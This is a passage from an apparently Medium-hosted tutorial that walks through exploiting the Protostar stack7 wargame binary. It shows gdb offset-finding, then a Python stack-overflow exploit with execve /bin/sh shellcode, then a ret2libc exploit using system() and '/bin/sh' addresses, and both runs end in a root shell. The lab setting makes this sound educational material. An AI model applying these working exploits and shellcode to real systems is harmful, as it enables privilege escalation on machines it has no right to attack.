[esp],eax<br><strong>0x0804853e &lt;getpath+122&gt;:    call   0x80483f4 &lt;strdup@plt&gt;</strong><br>0x08048543 &lt;getpath+127&gt;:    leave  <br><strong>0x08048544 &lt;getpath+128&gt;:    ret</strong></pre><p>Lets first find the offset as usual:</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWYYYYXXXXZZZZ&quot;</pre><p>And what we get it:</p><pre>Program received signal SIGSEGV, Segmentation fault.<br>eax      0x804a008     134520840<br>ecx      0x0   0<br>edx      0x1   1<br>ebx      0xb7fd7ff4    -1208123404<br><strong>esp      0xbffff7b0    0xbffff7b0</strong><br>ebp      0x54545454    0x54545454<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x55555555    0x55555555<br>eflags      0x210202 [ IF RF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br>0xbffff7b0:  0x56565656   0x57575757   0x59595959   0x58585858<br>0xbffff7c0:  0x5a5a5a5a   0xbffff800   0xbffff86c   0xb7fe1848<br>0xbffff7d0:  0xbffff820   0xffffffff   0xb7ffeff4   0x080482bc<br>0xbffff7e0:  0x00000001   0xbffff820   0xb7ff0626   0xb7fffab0<br>0xbffff7f0:  0xb7fe1b28   0xb7fd7ff4   0x00000000   0x00000000<br>0xbffff800:  0xbffff838   0x67b277cd   0x4de581dd   0x00000000<br>0xbffff810:  0x00000000   0x00000000   0x00000001   0x08048410<br>0xbffff820:  0x00000000   0xb7ff6210   0xb7eadb9b   0xb7ffeff4<br>0xbffff830:  0x00000001   0x08048410   0x00000000   0x08048431<br>0xbffff840:  0x08048545   0x00000001   0xbffff864   0x08048570<br>0x55555555:  Error while running hook_stop:<br><strong>Cannot access memory at address 0x55555555<br>0x55555555 in ?? ()</strong></pre><p>Nice…So our offset is like the same till “T”, and our esp register if we look above we can see it is still the same 0xbffff7b0. Hmmmmm let us try it with our original exploit not ret2libc yet. Remember to chage ret to the new address.</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT&quot;<br>ret = &quot;\x44\x85\x04\x08&quot;  <strong>#0x08048544</strong><br>eip = &quot;\xc0\xf7\xff\xbf&quot;  <strong>#0xbffff7c0, we are returning to the stack</strong><br>nopslide = &quot;\x90&quot; * 100<br>payload = &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80&quot;<br>print (offset+ret+eip+nopslide+payload)</pre><p>Run it:</p><pre>user@protostar:/tmp$ (python exp1.py; cat) | /opt/protostar/bin/stack7<br>input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°̀<br>                                                                                 1�@̀<br>id<br>uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)<br>whoami<br>root<br>^C</pre><p>Hmmm We got it!!!! strdup does not doing anything that important but we still did it!!!</p><p>Now lets try it with our Ret2libc exploit. BUT WAIT!!! If we look back at the “IF” statement of our source code it stops any address of 0xb… So our address of system() in libc is in there. How do we do it?? Well, we do the same thing as before but make a few changes, we return back to the return function and then return to system. Now let us find the address of system and /bin/sh:</p><pre>(gdb) info proc map<br>process 1683<br>cmdline = &#39;/opt/protostar/bin/stack7&#39;<br>cwd = &#39;/tmp&#39;<br>exe = &#39;/opt/protostar/bin/stack7&#39;<br>Mapped address spaces:</pre><pre>Start Addr  End Addr   Size  Offset              objfile<br>0x8048000  0x8049000  0x1000    0        /opt/protostar/bin/stack7<br>0x8049000  0x804a000  0x1000    0        /opt/protostar/bin/stack7<br>0xb7e96000 0xb7e97000 0x1000    0     <br>0xb7e97000 0xb7fd5000 0x13e000  0        /lib/libc-2.11.2.so<br>0xb7fd5000 0xb7fd6000 0x1000    0x13e000 /lib/libc-2.11.2.so<br>0xb7fd6000 0xb7fd8000 0x2000    0x13e000 /lib/libc-2.11.2.so<br>0xb7fd8000 0xb7fd9000 0x1000    0x140000 /lib/libc-2.11.2.so<br>0xb7fd9000 0xb7fdc000 0x3000    0     <br>0xb7fe0000 0xb7fe2000 0x2000    0     <br>0xb7fe2000 0xb7fe3000 0x1000    0        [vdso]<br>0xb7fe3000 0xb7ffe000 0x1b000   0        /lib/ld-2.11.2.so<br>0xb7ffe000 0xb7fff000 0x1000    0x1a000  /lib/ld-2.11.2.so<br>0xb7fff000 0xb8000000 0x1000    0x1b000  /lib/ld-2.11.2.so<br>0xbffeb000 0xc0000000 0x15000   0        [stack]<br>(gdb) p system<br>$1 = {&lt;text variable, no debug info&gt;} <strong>0xb7ecffb0</strong> &lt;__libc_system&gt;</pre><p>We have now found the address of our system, now let us find the address of “/bin/sh”</p><pre>user@protostar:/tmp$ strings -a -t x /lib/libc-2.11.2.so | grep &quot;/bin/sh&quot;<br> 11f3bf /bin/sh</pre><p>Now we have the offset now let us check in gdb to make sure:</p><pre>(gdb) x/s 0xb7e97000+0x11f3bf<br>0xb7fb63bf:   &quot;/bin/sh&quot;</pre><p>Now we have the address for /bin/sh now let us make the exploit:</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT&quot;<br>ret = &quot;\x44\x85\x04\x08&quot;  <strong>#0x08048544</strong><br>system = &quot;\xb0\xff\xec\xb7&quot;  #<strong>0xb7ecffb0 <br></strong>ret_after_sys = &quot;AAAA&quot;<br>binsh = &quot;\xbf\x63\xfb\xb7&quot; <br>print (offset+ret+system+ret_after_sys+binsh)</pre><p>Now lets run it:</p><pre>user@protostar:/tmp$ (python exp1.py; cat) | /opt/protostar/bin/stack7<br>input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD����AAAA�c��<br>id<br>uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)<br>whoami<br>root<br>^C</pre><p>YAAAAAAY!!!!! We got ROOT!!!</p><p>Now we are going to learn a 2nd ROP technique called Ret2 .text which returns to the code section of the binary — .text part. So the “gadget” which we are looking for in the code is a “POP, POP, RET” gadget. So we will ret into an address where it will then “POP, POP” 2 useless things on the stack and then RET into the address we want.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9fcd22be2b2" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/intro-to-pwn-protstar-stacks-9fcd22be2b2">INTRO TO PWN: PROTSTAR-STACKS</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>